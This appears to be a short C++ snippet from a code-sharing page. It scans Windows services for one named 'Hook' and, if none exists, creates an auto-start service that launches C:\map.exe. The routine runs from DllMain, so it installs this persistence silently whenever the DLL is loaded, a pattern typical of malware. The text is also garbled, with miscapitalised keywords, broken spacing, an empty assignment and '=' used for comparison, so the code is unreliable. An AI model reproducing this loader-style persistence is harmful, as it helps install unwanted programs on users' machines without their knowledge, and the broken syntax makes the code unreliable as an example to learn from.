/Files/tt_mc/catchser.rarCodeIt is to traverse the services in the system and check whether there is a "Hook" service. If not, create the service:
# Include "stdafx. H"
# Include <string>
# Include "servconfig. H"
Using namespace STD;
Int catchser ()
{
SC _handle hscm = openscmanager (null, null, SC _manager_all_access );
If (! Hscm)
{
// Messageboxex (null, _ text ("test text"), _ text ("test title"), mb_ OK, 0 );
}
Cservitem * pservheader = NULL, * pservpre = NULL, * pservnext = NULL;
Lpenum_service_status pservstatus = NULL;
DWORD dwbytesneeded = 0, dwservcound = 0, dwresume = 0, dwrealbytes = 0;
Bool Bret = enumservicesstatus (hscm, service_win32, service_state_all, null, 0, & dwbytesneeded, & dwservcound, & dwresume );
If (! Bret & getlasterror () = error_more_data)
{
Dwrealbytes = dwbytesneeded;
Pservstatus = new enum_service_status [dwrealbytes + 1];
Zeromemory (pservstatus, dwrealbytes + 1 );
Bret = enumservicesstatus (hscm, service_win32, service_state_all, pservstatus, dwrealbytes, & dwbytesneeded, & dwservcound, & dwresume );
If (! Bret)
{
Closeservicehandle (hscm );
Return NULL;
}
}
Else
{
Closeservicehandle (hscm );
Return NULL;
}
String sh1, SH2;
For (DWORD dwidx = 0; dwidx <dwservcound; dwidx ++)
{
Char A [100];
Strcpy (A, pservstatus [dwidx]. lpdisplayname );
Sh1 =;
If (sh1 = "Hook ")
{
SH2 = "Hook ";
}
}
If (SH2! = "Hook ")
{
Char name [100] = "Hook ";
Char info [200] = "Hook ";
Char path [300] = "C: \ map.exe ";
SC _handle manager = NULL;
SC _handle service = NULL;
If (Manager = openscmanager (null, null, SC _manager_create_service) = NULL)
{
Printf ("openscmanager error ");
}
Service = createservice (
Manager, name, info,
Service_all_access, service_win32_own_process,
Service_auto_start, service_error_normal,
Path, 0, 0, 0, 0, 0 );
If (service)
Printf ("service created \ n ");
Else
Printf ("service creation failed \ n ");
Closeservicehandle (service );
Closeservicehandle (manager );
}
}
Bool apientry dllmain (handle hmodule,
DWORD ul_reason_for_call,
Lpvoid lpreserved
)
{
Catchser ();
Return true;
}